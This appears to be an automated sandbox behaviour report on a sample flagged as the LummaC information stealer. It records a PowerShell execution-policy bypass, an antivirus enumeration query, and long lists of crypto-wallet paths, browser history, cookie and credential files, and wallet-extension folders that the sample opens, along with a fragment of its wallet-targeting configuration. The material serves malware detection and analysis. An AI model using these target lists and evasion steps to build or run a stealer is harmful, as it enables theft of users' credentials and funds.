href="https://www.cloudflare.com/learning/access-management/phishing-attack/" class="cf-btn" style="background-color: #404040; color: #fff; border: 0;">learn more</a> <form action="/cdn-cgi/phish-bypass" method="get" enctype="text/plain"> <input type="hidden" name="atok" value="7hyql7q5cobimdmxfkbooyhwb7yp8upeighramqe27s-1734999453-0.0.1.1-/int_clp_ldr_sha.txt"> <button type="submit" class="cf-btn cf-btn-danger" style="color: #bd2426; background: transparent;" data-translate="dismiss_and_enter">ignore & proceed</button> </form> </p> </div> <
Source: C:\Users\user\Desktop\setup.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass <!doctype html> <!--[if lt ie 7]> <html class="no-js ie6 oldie" lang="en-us"> <![endif]--> <!--[if ie 7]> <html class="no-js ie7 oldie" lang="en-us"> <![endif]--> <!--[if ie 8]> <html class="no-js ie8 oldie" lang="en-us"> <![endif]--> <!--[if gt ie 8]><!--> <html class="no-js" lang="en-us"> <!--<![endif]--> <head> <title>suspected phishing site \| cloudflare</title> <meta charset="utf-8" /> <meta http-equiv="content-type" content="text/html; charset=utf-8" /> <meta http-equiv="x-ua-compatible" content="ie=edge" /> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width,initial-scale=1" /> <link rel="stylesheet" id="cf_styles-css" href="/cdn-cgi/styles/cf.errors.css" /> <!--[if lt ie 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--> <style>body{margin:0;padding:0}</style> <!--[if gte ie 10]><!--> <script> if (!navigator.cookieenabled) { window.addeventlistener('domcontentloaded', function () { var cookieel = document.getelementbyid('cookie-alert'); cookieel.style.display = 'block'; }) } </script> <!--<![endif]--> </head> <body> <div id="cf-wrapper"> <div class="cf-alert cf-alert-error cf-cookie-error" id="cookie-alert" data-translate="enable_cookies">please enable cookies.</div> <div id="cf-error-details" class="cf-error-details-wrapper"> <div class="cf-section cf-wrapper" style="margin-top: 100px;margin-bottom:200px;"> <div class="cf-columns one"> <div class="cf-column"> <h4 class="cf-text-error"><i class="cf-icon-exclamation-sign" style="background-size: 18px; height: 18px; width: 18px; margin-bottom: 2px;"></i> warning</h4> <h2 style="margin: 16px 0;">suspected phishing</h2> <strong>this website has been reported for potential phishing.</strong> <p>phishing is when a site attempts to steal sensitive information by falsely presenting as a safe source.</p> <div style="display: flex; align-items: center;"> <p> <a href="https://www.cloudflare.com/learning/access-management/phishing-attack/" class="cf-btn" style="background-color: #404040; color: #fff; border: 0;">learn more</a> <form action="/cdn-cgi/phish-bypass" method="get" enctype="text/plain"> <input type="hidden" name="atok" value="7hyql7q5cobimdmxfkbooyhwb7yp8upeighramqe27s-1734999453-0.0.1.1-/int_clp_ldr_sha.txt"> <button type="submit" class="cf-btn cf-btn-danger" style="color: #bd2426; background: transparent;" data-translate="dismiss_and_enter">ignore & proceed</button> </form> </p> </div> <			Jump to behavior

Source: C:\Users\user\Desktop\setup.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.SecureBoot.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.SecureBoot.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\UEV\Microsoft.Uev.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\WindowsErrorReporting\Microsoft.WindowsErrorReporting.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\setup.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: setup.exe, setup.exe, 00000000.00000003.2245009127.00000000006DE000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\setup.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: setup.exe PID: 3448, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: setup.exe	String found in binary or memory: Wallets/Electrum-LTC
Source: setup.exe	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\ElectronCash\wallets
Source: setup.exe	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: setup.exe	String found in binary or memory: window-state.json
Source: setup.exe	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: setup.exe	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: setup.exe	String found in binary or memory: Wallets/Ethereum
Source: setup.exe	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: setup.exe, 00000000.00000002.2357915087.000000000071F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Ethereum","m":["keystore"],"z":"Wallets/Ethereum","d":1,"fs":20971520},{"t":0,"p":"%appdata%\\Exodus\\exodus.wallet","m":["*"],"z":"Wallets/Exodus","d":2,"fs":20971520}

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
